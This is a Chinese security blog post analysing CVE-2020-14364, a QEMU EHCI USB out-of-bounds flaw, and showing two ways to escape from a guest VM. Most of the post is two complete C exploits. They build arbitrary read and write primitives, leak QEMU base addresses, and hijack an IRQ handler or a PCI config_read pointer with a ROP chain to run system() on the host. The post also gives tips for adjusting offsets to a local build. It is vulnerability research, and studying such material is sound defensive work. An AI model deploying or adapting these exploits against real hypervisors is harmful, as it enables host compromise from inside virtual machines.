这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA

任意读原语

  1. 设置越界长度为0x1010,过程和上面的设置长度一样,都是进入do_token_setup设置(通过设置setup_buf[6、7])
  2. 进行越界写,将setup_len 设置成0x1010(这里不同上面,这里是利用越界写写入的值,而不是用那俩参数设置的),将setup_index设置成0xfffffff8-0x1010, 因为do_token_out中调用usb_packet_copy之后会有 s->setup_index += len 操作,此时s->setup_index 就会被设置成0xfffffff8
  3. 再次进行越界写,此时从data_buf-8处开始写,覆盖了setup字段,将setup_buf[0]设置成USB_DIR_IN,并且将setup_index 覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len;操作。并且本次进入case SETUP_STATE_DATA时:len = s->setup_len - s->setup_index操作(0x1010-(-0x8)=0x1018),使得len变成0x1018
  4. 最后越界读,就能读取目标地址的内容
unsignedlongarb_read(uint64_ttarget_addr)
{
setup_state_data();
set_length(0x1010, USB_DIR_OUT);
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);  //越界写
​
*(unsignedlong*)(data_buf) =0x2000000000000080; // set setup[0] -> USB_DIR_IN ??
unsignedinttarget_offset=target_addr-data_buf_addr;
​
do_copy_write(0x8, 0xffff, target_offset-0x1018);// 这里offset为0x8,是因为从data_buf-8 处开始写。
do_copy_read();   //越界读
return*(unsignedlong*)(data_buf);
}

任意写原语

  1. 首先设置越界长度0x1010,同上操作
  2. 越界写,将setup_len 设置成目标偏移-0x1010usb_packet_copy后面的s->setup_index += len操作后,s->setup_index就变成目标偏移offset。将setup_index设置成目标偏移+0x8, 经过下次越界写的len = s->setup_len - s->setup_index => len =(offset+0x8)-offset=0x8,只修改目标地址8个字节的内容
  3. 再次越界写,修改目标地址的内容
voidarb_write(uint64_ttarget_addr, uint64_tpayload)
{
setup_state_data();
//首先设置越界长度0x1010
set_length(0x1010, USB_DIR_OUT);
//目标地址偏移
unsignedlongoffset=target_addr-data_buf_addr;
//设置setup_index和 setup_len
do_copy_write(0, offset+0x8, offset-0x1010);
//修改目标地址内容
*(unsignedlong*)(data_buf) =payload;
do_copy_write(0, 0xffff, 0);
}

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
structEHCIqh*qh;
structEHCIqtd*qtd;
structohci_td*td;
char*dmabuf;
char*setup_buf;
unsignedchar*mmio_mem;
unsignedchar*data_buf;
unsignedchar*data_buf_oob;
uint32_t*entry;
uint64_tdev_addr;
uint64_tdata_buf_addr;
uint64_tUSBPort_addr;
​
#define PORTSC_PRESET       (1 << 8)     // Port Reset
#define PORTSC_PED         (1 << 2)     // Port Enable/Disable
#define USBCMD_RUNSTOP     (1 << 0)
#define USBCMD_PSE         (1 << 4)
#define USB_DIR_OUT         0
#define USB_DIR_IN         0x80
#define QTD_TOKEN_ACTIVE   (1 << 7)
#define USB_TOKEN_SETUP     2
#define USB_TOKEN_IN       1 /* device -> host */
#define USB_TOKEN_OUT       0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH   8
​
typedefstructUSBDeviceUSBDevice;
typedefstructUSBEndpointUSBEndpoint;
structUSBEndpoint {
uint8_tnr;
uint8_tpid;
uint8_ttype;
uint8_tifnum;
intmax_packet_size;
intmax_streams;
boolpipeline;
boolhalted;
USBDevice*dev;
USBEndpoint*fd;
USBEndpoint*bk;
};
​
structUSBDevice {
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;
int32_tsetup_index;
​
USBEndpointep_ctl;
USBEndpointep_in[15];
USBEndpointep_out[15];
};
​
​
typedefstructEHCIqh {
uint32_tnext;                    /* Standard next link pointer */
​
/* endpoint characteristics */
uint32_tepchar;
​
/* endpoint capabilities */
uint32_tepcap;
​
uint32_tcurrent_qtd;             /* Standard next link pointer */
uint32_tnext_qtd;                /* Standard next link pointer */
uint32_taltnext_qtd;
​
uint32_ttoken;                   /* Same as QTD token */
uint32_tbufptr[5];               /* Standard buffer pointer */
​
} EHCIqh;
typedefstructEHCIqtd {
uint32_tnext;                    /* Standard next link pointer */
uint32_taltnext;                 /* Standard next link pointer */
uint32_ttoken;
​
uint32_tbufptr[5];               /* Standard buffer pointer */
​
} EHCIqtd;
/* 板子操作 */
uint64_tvirt2phys(void*p)
{
uint64_tvirt= (uint64_t)p;
​
// Assert page alignment
​
intfd=open("/proc/self/pagemap", O_RDONLY);
if (fd==-1)
die("open");
uint64_toffset= (virt/0x1000) *8;
lseek(fd, offset, SEEK_SET);
​
uint64_tphys;
if (read(fd, &phys, 8 ) !=8)
die("read");
// Assert page present
​
phys= (phys& ((1ULL<<54) -1)) *0x1000+(virt&0xfff);
returnphys;
}
​
voiddie(constchar*msg)
{
perror(msg);
exit(-1);
}
/* 这俩函数板子操作 */
voidmmio_write(uint32_taddr, uint32_tvalue)
{
*((uint32_t*)(mmio_mem+addr)) =value;
}
​
uint64_tmmio_read(uint32_taddr)
{
return*((uint64_t*)(mmio_mem+addr));
}
​
voidinit(){
/* 板子操作,注意resource0前面的数字要调试得到 */
/* MMIO就是通过将外围设备映射到内存空间,便于CPU的访问 */
intmmio_fd=open("/sys/devices/pci0000:00/0000:00:01.2/resource0", O_RDWR|O_SYNC);
if (mmio_fd==-1)
die("mmio_fd open failed");
/* 映射到usb 设备的内存 */
mmio_mem=mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem==MAP_FAILED)
die("mmap mmio_mem failed");
/* 映射一块dmabufs */
dmabuf=mmap(0, 0x3000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (dmabuf==MAP_FAILED)
die("mmap");
/* 上锁,防止被调度 */
mlock(dmabuf, 0x3000);
​
entry=dmabuf+4;
qh=dmabuf+0x100;
qtd=dmabuf+0x200;
setup_buf=dmabuf+0x300;
data_buf=dmabuf+0x1000;
data_buf_oob=dmabuf+0x2000;
}
​
voidreset_enable_port(){
/* 对usb设备0x64偏移处进行写入操作,0x64 的偏移对应到 portsc
对该字段写操作会调用到ehci_port_write */
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
//这个函数在上面分析过了,相当于告诉qemu我参数设置好了,可以触发漏洞函数了
voidset_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP|USBCMD_PSE); // usbcmd
sleep(1);
}
​
voidset_qh(){
qh->epchar=0x00;
qh->token=QTD_TOKEN_ACTIVE;
qh->current_qtd=virt2phys(qtd);
}
​
voidinit_state(){
//为了能走到漏洞函数那设置的条件
reset_enable_port();
//同上
set_qh();
//设置越界长度
setup_buf[6] =0xff;
setup_buf[7] =0x0;
/* 我们调用do_token_setup 设置s->setup_len 的长度为越界长度
需要进入do_token_setup 需要通过设置qtd->token值 */
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
​
*entry=virt2phys(qh)+0x2;
​
set_EHCIState();
}
​
//设置越界长度,调用do_token_setup
voidset_length(uint16_tlen,uint8_toption){

reset_enable_port();
​
set_qh();
​
setup_buf[0] =option;
setup_buf[6] =len&0xff;
setup_buf[7] = (len>>8 ) &0xff;
​
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
​
set_EHCIState();
}
//越界读,调用do_token_out
voiddo_copy_read(){
​
reset_enable_port();
set_qh();
//设置token进入do_token_in设置p->iov.size
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_IN<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
​
set_EHCIState();
}
//越界写,调用do_token_in
voiddo_copy_write(intoffset, unsignedintsetup_len, unsignedintsetup_index){
​
reset_enable_port();
set_qh();
​
*(unsignedlong*)(data_buf_oob+offset) =0x0000000200000002; // 覆盖成原先的内容
*(unsignedint*)(data_buf_oob+0x8+offset) =setup_len;
*(unsignedint*)(data_buf_oob+0xc+offset) =setup_index;
​
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_OUT<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
​
set_EHCIState();
}
​
voidsetup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
//任意写
voidarb_write(uint64_ttarget_addr, uint64_tpayload)
{
setup_state_data();
​
set_length(0x1010, USB_DIR_OUT);
​
unsignedlongoffset=target_addr-data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
​
*(unsignedlong*)(data_buf) =payload;
do_copy_write(0, 0xffff, 0);
}
//任意读
unsignedlongarb_read(uint64_ttarget_addr)
{
setup_state_data();
​
set_length(0x1010, USB_DIR_OUT);
​
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
​
*(unsignedlong*)(data_buf) =0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsignedinttarget_offset=target_addr-data_buf_addr;
​
do_copy_write(0x8, 0xffff, target_offset-0x1018);
do_copy_read(); // oob read
return*(unsignedlong*)(data_buf);
}
​
intmain()
{
​
init();
/* 修改当前进程的操作端口权限,为三时可以读写端口 */
iopl(3);
/*I/O 0xc0c0上写入16位数据 0*/
outw(0,0xc080);
/* 写0,0xc0e0端口*/
outw(0,0xc0a0);
outw(0,0xc0c0);
//给上面那三个端口写数据是干嘛的?
sleep(3);
/* 设置触发漏洞环境 */
init_state();
/* 设置越界长度 */
set_length(0x2000, USB_DIR_IN);
/* 越界读一次,为了得到基址 */
do_copy_read();
​
structUSBDevice*usb_device_tmp=data_buf+0x4;
structUSBDeviceusb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
​
dev_addr=usb_device.ep_ctl.dev;
data_buf_addr=dev_addr+0xdc;
USBPort_addr=dev_addr+0x78;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
printf("USBPort_addr: 0x%llx\n", USBPort_addr);
​
uint64_t*tmp=dmabuf+0x24f4+8;
​
longlongleak_addr=*tmp;
if(leak_addr==0){
printf("INIT DOWN,DO IT AGAIN\n");
return0;
  }
​
longlongbase=leak_addr-0xc40d90; //maybe wrong
uint64_tsystem_plt=base+0x290D30; //maybe wrong
​
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);

//读取USBDevice->port的内容就能获得EHCIState->ports 的地址
unsignedlongUSBPort_ptr=arb_read(USBPort_addr);
//减去偏移得到 EHCIState的地址
unsignedlongEHCIState_addr=USBPort_ptr-0x540;
//进而得到EHCIState->irq地址
unsignedlongirq_addr=EHCIState_addr+0xc0;
//伪造一个irq地址
unsignedlongfake_irq_addr=data_buf_addr; //dev_addr + 0xdc;
//保存原来的irq
unsignedlongirq_ptr=arb_read(irq_addr);
​
printf("EHCIState_addr: 0x%llx\n", EHCIState_addr);
printf("USBPort_ptr: 0x%llx\n", USBPort_ptr);
printf("irq_addr: 0x%llx\n", irq_addr);
printf("fake_irq_addr: 0x%llx\n", fake_irq_addr);
printf("irq_ptr: 0x%llx\n", irq_ptr);
​
/*
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
*/
//构造 fake_irq
//设置越界长度为0x500然后设定out
setup_state_data();
*(unsignedlong*)(data_buf+0x28) =system_plt; // handler 填充成system@plt地址
*(unsignedlong*)(data_buf+0x30) =dev_addr+0xdc+0x100; //opaque填充成payload的地址
*(unsignedlong*)(data_buf+0x38) =0x3; //n
*(unsignedlong*)(data_buf+0x100) =0x636c616378; // "xcalc"
//这个越界写是干嘛的??
do_copy_write(0, 0xffff, 0xffff);
//利用任意写将EHCIState->irq内容填充为伪造的irq地址
arb_write(irq_addr, fake_irq_addr);
​
// write back irq_ptr
arb_write(irq_addr, irq_ptr);
​
//mmio 读写触发ehci_update_irq -> qemu_set_irq,最终执行system("xcalc"),完成利用。
/*
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}
*/
​
};

 

第二种思路

关于任意读写原语的部分和上面的一样,这一利用手法主要利用qemu启动时加载的qxl-vga设备,配置在上面有

通过越界读获取 USBdevice 对象的地址,这里通过读取dmabuf+0x2004可以得到USBDevice->remote_wakeup的内容(这里+4是因为结构体的内存对齐)。往下读有一个 USBEndpoint ep_ctl 结构体,ep_ctl->dev 保存着USBdevice 对象的地址,就可以泄露 USBdevice 对象的地址。计算偏移就可以获得data_buf 和USBPort 字段的地址

这点和上面的利用一样,都是通过ep-ctl得到USBdevice对象的地址,从而得到对象中其他部分的地址

  1. 利用任意读泄露data_buf后面的内存数据,查找"qxl-vga"字符串,就能得到PCIDevice->name的地址,减去偏移得到PCIDevice结构体地址
structPCIDevice {
[ ... ]
​
PCIReqIDCacherequester_id_cache;
charname[64]; // ->保存设备的名字,"qxl-vga"
PCIIORegionio_regions[PCI_NUM_REGIONS];
AddressSpacebus_master_as;
MemoryRegionbus_master_container_region;
MemoryRegionbus_master_enable_region;
​
/* do not access the following fields */
PCIConfigReadFunc*config_read;     //这里
PCIConfigWriteFunc*config_write;   //这里
​
/* Legacy PCI VGA regions */
MemoryRegion*vga_regions[QEMU_PCI_VGA_NUM_REGIONS];
boolhas_vga;
​
[ ... ]
};
  1. 利用任意写,修改config_read保存的函数指针,在虚拟机里读取pci配置寄存器(调用system("lspci")) 就可以触发config_read指向的函数,原本调用pci_default_read_config ,我们可以将函数指针修改成system@plt
  2. 上一步已经可以控制rip,但是传参有问题,我们先来看看config_read指向的函数被调用时传递的参数

大部分都是赋值的,然后找到了一个调用,是这个

uint32_tpci_host_config_read_common(PCIDevice*pci_dev, uint32_taddr,
uint32_tlimit, uint32_tlen)
{
uint32_tret;
​
pci_adjust_config_limit(pci_get_bus(pci_dev), &limit);   //比2.11多了这个函数,使得直接把pyload布置在pci_dev变得不可行
if (limit<=addr) {
return~0x0;
  }
​
assert(len<=4);
/* non-zero functions are only exposed when function 0 is present,
* allowing direct removal of unexposed functions.
*/
if (pci_dev->qdev.hotplugged&&!pci_get_function_0(pci_dev)) {
return~0x0;
  }
​
ret=pci_dev->config_read(pci_dev, addr, MIN(len, limit-addr));  //到这里调用,也就是说上面的函数是无法避免被运行的
trace_pci_cfg_read(pci_dev->name, PCI_SLOT(pci_dev->devfn),
PCI_FUNC(pci_dev->devfn), addr, ret);
​
returnret;
}
​
=====================================================================================
staticinlinePCIBus*pci_get_bus(constPCIDevice*dev)
{
returnPCI_BUS(qdev_get_parent_bus(DEVICE(dev)));
}
=====================================================================================
#define PCI_BUS(obj) OBJECT_CHECK(PCIBus, (obj), TYPE_PCI_BUS)
======================================================================================
#define OBJECT_CHECK(type, obj, name) \
((type *)object_dynamic_cast_assert(OBJECT(obj), (name), \
__FILE__, __LINE__, __func__))
====================================================================================
#define OBJECT(obj) \
((Object *)(obj))  //这里

涉及到寻址操作,因为我们覆盖了devpayload,所以这个操作很可能会访问非法地址,所以这里不能放payload

同样的,我们甚至不能直接将config_read函数指针指向system 我们可以将其指向其他地方,我们可以用rop链,将payload放栈上,然后调用system

栈转移利用xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;

可以将rax的值给rbp后,再通过leave指令(相当于mov rsp, rbp; pop rbp;),间接将rax的值赋给rsp,完成栈切换。

来自

newrsp===>   [0x00] : poprax; ret;  将system的plt设为rax
              [0x08] : system@plt
              [0x10] : poprdi; ret;  将"xcalc"赋值为rdi,作为调用system的第一个参数
/-- [0x18] : rsp+0x30
|   [0x20] : subal, 0; callrax; 调用rax,也就是system
|   [0x28] :
|-> [0x30] : "xcalc"

exp

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>
structEHCIqh*qh;
structEHCIqtd*qtd;
structohci_td*td;
char*dmabuf;
char*setup_buf;
unsignedchar*mmio_mem;
unsignedchar*data_buf;
unsignedchar*data_buf_oob;
uint32_t*entry;
uint64_tdev_addr;
uint64_tdata_buf_addr;
uint64_tUSBPort_addr;
​
#define PORTSC_PRESET       (1 << 8)     // Port Reset
#define PORTSC_PED         (1 << 2)     // Port Enable/Disable
#define USBCMD_RUNSTOP     (1 << 0)     // run / Stop
#define USBCMD_PSE         (1 << 4)     // Periodic Schedule Enable
#define USB_DIR_OUT         0
#define USB_DIR_IN         0x80
#define QTD_TOKEN_ACTIVE   (1 << 7)
#define USB_TOKEN_SETUP     2
#define USB_TOKEN_IN       1 /* device -> host */
#define USB_TOKEN_OUT       0 /* host -> device */
#define QTD_TOKEN_TBYTES_SH 16
#define QTD_TOKEN_PID_SH   8
​
typedefstructUSBDeviceUSBDevice;
typedefstructUSBEndpointUSBEndpoint;
structUSBEndpoint {
uint8_tnr;
uint8_tpid;
uint8_ttype;
uint8_tifnum;
intmax_packet_size;
intmax_streams;
boolpipeline;
boolhalted;
USBDevice*dev;
USBEndpoint*fd;
USBEndpoint*bk;
};
​
structUSBDevice {
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;
int32_tsetup_index;
​
USBEndpointep_ctl;
USBEndpointep_in[15];
USBEndpointep_out[15];
};
​
​
typedefstructEHCIqh {
uint32_tnext;                    /* Standard next link pointer */
​
/* endpoint characteristics */
uint32_tepchar;
​
/* endpoint capabilities */
uint32_tepcap;
​
uint32_tcurrent_qtd;             /* Standard next link pointer */
uint32_tnext_qtd;                /* Standard next link pointer */
uint32_taltnext_qtd;
​
uint32_ttoken;                   /* Same as QTD token */
uint32_tbufptr[5];               /* Standard buffer pointer */
​
} EHCIqh;
typedefstructEHCIqtd {
uint32_tnext;                    /* Standard next link pointer */
uint32_taltnext;                 /* Standard next link pointer */
uint32_ttoken;
​
uint32_tbufptr[5];               /* Standard buffer pointer */
​
} EHCIqtd;
​
uint64_tvirt2phys(void*p)
{
uint64_tvirt= (uint64_t)p;
​
// Assert page alignment
​
intfd=open("/proc/self/pagemap", O_RDONLY);
if (fd==-1)
die("open");
uint64_toffset= (virt/0x1000) *8;
lseek(fd, offset, SEEK_SET);
​
uint64_tphys;
if (read(fd, &phys, 8 ) !=8)
die("read");
// Assert page present
​
phys= (phys& ((1ULL<<54) -1)) *0x1000+(virt&0xfff);
returnphys;
}
​
voiddie(constchar*msg)
{
perror(msg);
exit(-1);
}
​
voidmmio_write(uint32_taddr, uint32_tvalue)
{
*((uint32_t*)(mmio_mem+addr)) =value;
}
​
uint64_tmmio_read(uint32_taddr)
{
return*((uint64_t*)(mmio_mem+addr));
}
​
voidinit(){
​
intmmio_fd=open("/sys/devices/pci0000:00/0000:00:1d.7/resource0", O_RDWR|O_SYNC);
if (mmio_fd==-1)
die("mmio_fd open failed");
​
mmio_mem=mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem==MAP_FAILED)
die("mmap mmio_mem failed");
​
dmabuf=mmap(0, 0x3000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (dmabuf==MAP_FAILED)
die("mmap");
​
mlock(dmabuf, 0x3000);
​
entry=dmabuf+4;
qh=dmabuf+0x100;
qtd=dmabuf+0x200;
setup_buf=dmabuf+0x300;
data_buf=dmabuf+0x1000;
data_buf_oob=dmabuf+0x2000;
}
​
voidreset_enable_port(){
mmio_write(0x64, PORTSC_PRESET);
mmio_write(0x64, PORTSC_PED);
}
​
voidset_EHCIState(){
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
mmio_write(0x20, USBCMD_RUNSTOP|USBCMD_PSE); // usbcmd
sleep(1);
}
​
voidset_qh(){
qh->epchar=0x00;
qh->token=QTD_TOKEN_ACTIVE;
qh->current_qtd=virt2phys(qtd);
}
​
voidinit_state(){
reset_enable_port();
set_qh();
​
setup_buf[6] =0xff;
setup_buf[7] =0x0;
​
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
​
*entry=virt2phys(qh)+0x2;
​
set_EHCIState();
}
​
voidset_length(uint16_tlen,uint8_toption){
​
reset_enable_port();
​
set_qh();
​
setup_buf[0] =option;
setup_buf[6] =len&0xff;
setup_buf[7] = (len>>8 ) &0xff;
​
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_SETUP<<QTD_TOKEN_PID_SH|8<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(setup_buf);
​
set_EHCIState();
}
voiddo_copy_read(){
​
reset_enable_port();
set_qh();
​
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_IN<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH;
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
​
set_EHCIState();
}
​
voiddo_copy_write(intoffset, unsignedintsetup_len, unsignedintsetup_index){
​
reset_enable_port();
set_qh();
​
*(unsignedlong*)(data_buf_oob+offset) =0x0000000200000002;
*(unsignedint*)(data_buf_oob+0x8+offset) =setup_len; //setup_len
*(unsignedint*)(data_buf_oob+0xc+offset) =setup_index;
​
qtd->token=QTD_TOKEN_ACTIVE|USB_TOKEN_OUT<<QTD_TOKEN_PID_SH|0x1e00<<QTD_TOKEN_TBYTES_SH; // flag
qtd->bufptr[0] =virt2phys(data_buf);
qtd->bufptr[1] =virt2phys(data_buf_oob);
​
set_EHCIState();
}
​
voidsetup_state_data(){
set_length(0x500, USB_DIR_OUT);
}
​
voidarb_write(uint64_ttarget_addr, uint64_tpayload)
{
setup_state_data();
​
set_length(0x1010, USB_DIR_OUT);
​
unsignedlongoffset=target_addr-data_buf_addr;
do_copy_write(0, offset+0x8, offset-0x1010);
​
*(unsignedlong*)(data_buf) =payload;
do_copy_write(0, 0xffff, 0);
​
}
​
unsignedlongarb_read(uint64_ttarget_addr)
{
setup_state_data();
​
set_length(0x1010, USB_DIR_OUT);
​
do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
​
*(unsignedlong*)(data_buf) =0x2000000000000080; // set setup[0] -> USB_DIR_IN
unsignedinttarget_offset=target_addr-data_buf_addr;
​
do_copy_write(0x8, 0xffff, target_offset-0x1018);
do_copy_read(); // oob read
return*(unsignedlong*)(data_buf);
}
​
intmain()
{
​
init();
​
iopl(3);
outw(0,0xc080);
outw(0,0xc0a0);
outw(0,0xc0c0);
sleep(3);
​
init_state();
set_length(0x2000, USB_DIR_IN);
do_copy_read(); // oob read
​
structUSBDevice*usb_device_tmp=dmabuf+0x2004;
structUSBDeviceusb_device;
memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));
​
dev_addr=usb_device.ep_ctl.dev;
data_buf_addr=dev_addr+0xdc;
printf("USBDevice dev_addr: 0x%llx\n", dev_addr);
printf("USBDevice->data_buf: 0x%llx\n", data_buf_addr);
​
uint64_t*tmp=dmabuf+0x24f4+8;
​
longlongleak_addr=*tmp;
if(leak_addr==0){
printf("INIT DOWN,DO IT AGAIN\n");
return0;
  }
​
longlongbase=leak_addr-0xc40d90; //maybe wrong
uint64_tsystem_plt=base+0x290D30; //maybe wrong
​
printf("leak elf_base address : %llx!\n", base);
printf("leak system_plt address: %llx!\n", system_plt);
​
unsignedlongsearch_start_addr=data_buf_addr+0x5500;
arb_read(search_start_addr);
char*mask="qxl-vga\0";
unsignedlongfind=memmem(data_buf, 0x1f00, mask, 0x8);
unsignedlongoffset= (find&0xffffffff) - ((unsignedlong)(data_buf)&0xffffffff) +0x5500;
unsignedlongconfig_read_addr=data_buf_addr+offset+0x390;
unsignedlongpci_dev=config_read_addr-0x450;
printf("config_read_addr: 0x%llx\n", config_read_addr);
printf("pci_dev: 0x%llx\n", pci_dev);
unsignedlongpci_dev_content=arb_read(pci_dev);
​
unsignedlongrop_start=base+0x774ff0; //xchg rax, rbp; mov cl, 0xff; mov eax, dword ptr [rbp - 0x10]; leave; ret;
printf("pci_dev_content: 0x%llx\n", pci_dev_content);
printf("rop_start: 0x%llx\n", rop_start);
​
unsignedlongrsp=pci_dev+0x8; // leave -> mov rsp, rbp; pop rbp;
printf("new rsp: 0x%llx\n", rsp);
unsignedlongpop_rax=base+0x523519; // pop rax; ret; //maybe wrong
unsignedlongpop_rdi=base+0x3b51e5; // pop rdi; ret; //maybe wrong
unsignedlongcall_rax=base+0x71bd09; // sub al, 0; call rax; //maybe wrong
​
arb_write(rsp, pop_rax);
arb_write(rsp+8, system_plt);
arb_write(rsp+0x10, pop_rdi);
arb_write(rsp+0x18, rsp+0x30);
arb_write(rsp+0x20, call_rax);
arb_write(rsp+0x30, 0x636c616378);
​
arb_write(config_read_addr, rop_start);
system("lspci");
​
};

如果本地没打通的话那八成是system的plt地址以及加载地址没根据自己环境进行调整,

前面求到USBDevice的基址了,通过偏移得到USBDevice结构体中USBDescDevice *device 然后根据其指向的地址的值距离qemu加载地址的偏移,得到qemu加载的基址,然后通过ida得到system@plt距离qemu基址的偏移,得到system的地址

改一下上面标注的maybe wrong处的数据值就可以

 

前两思路的参考

CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路

QEMU CVE-2020-14364 漏洞分析

后期将继续更新后两种方法,敬请期待~

本文由星阑科技原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/243343

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
星阑科技
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66